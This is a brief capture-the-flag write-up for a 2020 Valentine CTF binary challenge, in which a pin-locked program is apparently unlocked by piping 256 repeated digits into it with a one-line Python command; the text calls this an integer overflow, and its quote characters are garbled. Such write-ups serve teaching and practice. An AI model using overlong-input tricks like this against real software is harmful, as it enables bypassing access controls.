Binary Exploitation 1 - Writeup

Binary Exploitation 1 - Valentine CTF 2020


A basic integer overflow vulnerability.

The program asked for a 4 digit pin to unlock it

Execution permissions:

chmod +x Locked

Echo 256 digits instead of what the program asked for

python -c β€œprint β€˜5’*256” | ./Locked

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thanks ! nice tip dude

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